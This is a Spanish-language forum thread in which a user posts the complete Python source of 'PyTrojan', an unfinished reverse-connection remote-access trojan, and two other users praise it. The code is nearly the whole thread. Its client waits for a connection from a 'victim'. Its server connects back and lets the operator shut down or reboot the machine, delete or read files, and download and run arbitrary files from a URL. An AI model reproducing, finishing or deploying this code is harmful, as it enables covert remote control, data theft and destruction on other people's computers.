[Python] Troyano

Iniciado por 177600531, 22 Agosto 2013, 02:55 AM

0 Miembros y 1 Visitante están viendo este tema.

177600531

Hace algún tiempo empecé a estudiar Python más que nada por aburrimiento y lo primero que empecé a escribir era este Troyano de conexión inversa que lo acabo de encontrar en un disco duro externo abandonado. No lo he acabado nunca y tampoco creo que lo acabe por falta de tiempo y ganas pero dejo el código por si a alguien le sirve en un futuro o tiene ganas de acabarlo.

Cliente:
Código (python) [Seleccionar]
# -*- coding: utf-8 -*-

##########################################
##                                      ##
##      PyTrojan                 ##
##      By Proxy                   ##
## Fecha Inicio: 28/04/13        ##
## Fecha Fin: ../../..            ##
## Client                        ##
##                                      ##
##########################################

import socket
import os
import time

#Limpiamos Pantalla
def cls():
os.system(['clear','cls'][os.name == 'nt'])

#Imprimimos Cabecera
def Cabecera():
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      PyTrojan v1.0 Beta                    ****'
    print '              ****                                            ****'
    print '              ****************************************************'

#Imprimimos Opciones
def Opcionestop():
print '              ****************************************************'
print '              ****      Opciones                              ****'
print '              ****************************************************'
print '              ****                                            ****'
print '              ****      1) Apagar Equipo                      ****'
print '              ****      ________________________              ****'
print '              ****      2) Reiniciar Equipo                   ****'
print '              ****      ________________________              ****'
print '              ****      3) Downloader                         ****'
print '              ****      ________________________              ****'
print '              ****      4) Localizador IP                     ****'
print '              ****      ________________________              ****'
print '              ****      5) Limpiar Pantalla                   ****'
print '              ****      ________________________              ****'
print '              ****      6) Consola                            ****'
print '              ****      ________________________              ****'
print '              ****      7) Desconectar                        ****'
print '              ****      ________________________              ****'
print '              ****      8) Desconectar                        ****'
print '              ****      ________________________              ****'
print '              ****      9) Apagar Servidor                    ****'
print '              ****      ________________________              ****'
print '              ****      10) Salir                             ****'
print '              ****      ________________________              ****'
print '              ****                                            ****'
print '              ****************************************************'

#Consola de Comandos
def Consola(s, sc):
time.sleep(1)
def Menuopc():
print '\nHELP:            Muestra la lista de comandos de la consola'
print 'DEL:             Elimina el archivo marcado'
print 'XDEL:            Elimina la carpeta marcada'
print 'COPY:            Copia un archivo a otra directorio'
print 'READ:            Abre el archivo en la consola'
print 'OPEN:            Ejecuta un archivo'
print 'WANT:            Busca en todos los archivo con extension a elegir'
print 'DIR:             Muestra el directorio actual'
print 'CD:              Cambia de directorio al directorio seleccionado'
print 'EXIT:            Salir de la consola de comandos\n'
Menuopc()
while True:
opconsola = raw_input('>>> ')
if opconsola == 'help':
Menuopc()
elif opconsola.startswith('del') == True:
time.sleep(1)
ruta1 = opconsola[:3]
ruta2 = opconsola[4:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('xdel') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'copy':
time.sleep(1)
ruta1 = opconsola
ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
sc.send(ruta1)
sc.send(ruta2)
sc.send(ruta3)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
elif opconsola.startswith('read') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('open') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('want') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola == 'dir':
time.sleep(1)
sc.send(opconsola)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
elif opconsola.startswith('cd') == True:
time.sleep(1)
ruta1 = opconsola[:2]
ruta2 = opconsola[3:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'exit':
time.sleep(1)
sc.send(opconsola)
print '\nHas salido de la consola...\n'
break

#Opciones despues de conectar
def Opciones(s, sc, addr):
cls()
orden = ''
while orden != '10':
Opcionestop()
while True:
orden = raw_input('>>> ')
if orden == '1': #Apaga Equipo
try:
sc.send('apagar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '2': #Reinicia Equipo
try:
sc.send('reiniciar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '3': #Downloader
try:
direccion = raw_input('Introduce la direccion >>> ')
time.sleep(1)
nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
time.sleep(1)
sc.send('downloader')
time.sleep(1)
sc.send(direccion)
sc.send(nomarch)
time.sleep(1)
vari = sc.recv(1024)
print vari
except:
print 'El servidor esta desconectado...'
else:
try:
while vari == 'Archivo descargado con exito...':
ejecutar = ''
while ejecutar != 'si' and ejecutar != 'no':
ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
if ejecutar == 'si':
sc.send('si')
print sc.recv(1024)
elif ejecutar == 'no':
sc.send('no')
else:
print 'Introduce si o no...'
else:
break
else:
pass
except:
print 'Ha ocurrido un error...'
elif orden == '4': #Localiza IP
try:
sc.send('localizadorip')
iploc = addr[0]
sc.send(iploc)
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '5': #Limpia la Pantalla
time.sleep(1)
cls()
Opcionestop()
elif orden == '6':
try:
sc.send('consola')
Consola(s, sc)
except:
print 'El servidor esta desconectado...'
elif orden == '7':
print 'hello'
elif orden == '8':
print 'hello'
elif orden == '9': #Apaga Servidor
try:
sc.send('desconectar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '10':
print 'Te has desconectado...'
break
else:
print '%s No se reconoce como un comando' % orden


#Menu
def Menu():
    opcion = ''
    while opcion != '1' and opcion != '2':
    cls()
    Cabecera()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      1) Esperar Conexiones                 ****'
    print '              ****      2) Salir                              ****'
    print '              ****                                            ****'
    print '              ****************************************************\n'
    opcion = raw_input('>>> ')
    if opcion == '1':
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Esperando Conexiones...               ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    host = ''
    port = 9999
    try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind((host, port))
            s.listen(3)
            sc, addr = s.accept()
    except:
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Ocurrio un problema...                ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    raw_input()
    else:
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Victima                               ****'
    print '              ****                                            ****'
    print '              ****************************************************\n'
    print 'Se ha establecido la conexion con...', addr[0]
    raw_input()
    Opciones(s, sc, addr)
    elif opcion == '2':
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Gracias por usar PyTrojan             ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    raw_input()

cls()
Menu()


Servidor:
Código (python) [Seleccionar]
##########################################
##                                      ##
##      PyTrojan                 ##
##      By Proxy                   ##
## Fecha Inicio: 28/04/13        ##
## Fecha Fin: ../../..            ##
## Server                        ##
##                                      ##
##########################################

import socket
import time
import os
import urllib
import shutil
import glob

#Consola de Comandos
def Consola(s):
while True:
opconsola = s.recv(1024)
if opconsola == 'del':
ruta = s.recv(1024)
try:
os.remove(ruta)
s.send('El archivo ha sido eliminado con exito...')
except:
s.send('El archivo no ha podido ser eliminado...')
elif opconsola == 'xdel':
ruta = s.recv(1024)
try:
shutil.rmtree(ruta)
s.send('La carpeta ha sido eliminada...')
except:
s.send('La carpeta no ha podido ser eliminada...')
elif opconsola == 'copy':
ruta1 = s.recv(1024)
ruta2 = s.recv(1024)
try:
shutil.copy(ruta1, ruta2)
s.send('El archivo ha sido copiado...')
except:
s.send('El archivo no ha sido copiado...')
elif opconsola == 'read':
ruta = s.recv(1024)
try:
arch = open(ruta, 'r')
line = arch.readline()
while line != '':
s.send(line)
line = arch.readline()
except:
s.send('El archivo no ha podido ser abierto...')
elif opconsola == 'open':
ruta = s.recv(1024)
try:
os.startfile(ruta)
s.send('Archivo ejecutado con exito...')
except:
s.send('El archivo no ha podido ser ejecutado...')
elif opconsola == 'want':
ruta = s.recv(1024)
try:
lista = glob.glob('*' + ruta)
joinlistar = '\n'.join(lista)
s.send(joinlistar)
except:
s.send('Ha ocurrido un error...')
else:
s.send('\n.')
elif opconsola == 'dir':
try:
listardirectorio = os.listdir('.')
joinlistardire = '\n'.join(listardirectorio)
s.send(joinlistardire)
except:
s.send('Ha ocurrido un error...')
elif opconsola == 'cd':
ruta = s.recv(1024)
try:
os.chdir(ruta)
s.send(os.getcwd())
except:
s.send('No se puede encontrar la ruta especificada...')
elif opconsola == 'exit':
break

#Conexion con el cliente
def conexion():
host = 'localhost'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
recibido = s.recv(1024)
if recibido == 'apagar': #Apaga Equipo
time.sleep(1)
s.send('El equipo se esta apagando...')
os.system('shutdown -s -f -t 0')
elif recibido == 'reiniciar': #Reinicia Equipo
time.sleep(1)
s.send('El equipo se esta reiniciando...')
os.system('shutdown -r -f -t 0')
elif recibido == 'downloader': #Downloader
time.sleep(1)
try:
direccion = s.recv(1024)
nomarch = s.recv(1024)
urllib.urlretrieve(direccion, nomarch, reporthook=None)
except:
s.send('Ha ocurrido un error...')
else:
s.send('Archivo descargado con exito...')
try:
ejecutar = s.recv(1024)
if ejecutar == 'si':
os.startfile(nomarch)
elif ejecutar == 'no':
continue
except:
s.send('Ha ocurrido un error al intentar ejecutar el archivo...')
else:
s.send('Archivo ejecutado con exito...')
elif recibido == 'localizadorip': #Localiza IP
try:
time.sleep(1)
iploc = s.recv(1024)
ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc
response = urllib.urlopen(ipaddr).read()
except:
s.send('Ha ocurrido un error...')
else:
s.send(response)
elif recibido == 'consola': #Consola de Comandos
time.sleep(1)
Consola(s)
elif recibido == 'desconectar': #Apaga Servidor
time.sleep(1)
s.send('Servidor apagado correctamente...')
s.close()
break
else:
conexion()

#Reintentamos conexion si el cliente se ha desconectado
while True:
time.sleep(3)
try:
conexion()
except:
pass
else:
break

AdeLax

Por una parte, te e ayudado en este proyecto  jajaja.

Muy buen proyecto, sigue así !!!  :D

F3niX14

Lastima que no lo termines.
"La mayoría ya estarán familiarizados con las virtudes del programador. Son tres,por supuesto: pereza, impaciencia, y orgullo desmedido." – Larry Wall (Programming Perl)
[img=FluxBB bbcode test]http://img183.imageshack.us/img183/8154/20729to7.png[/img]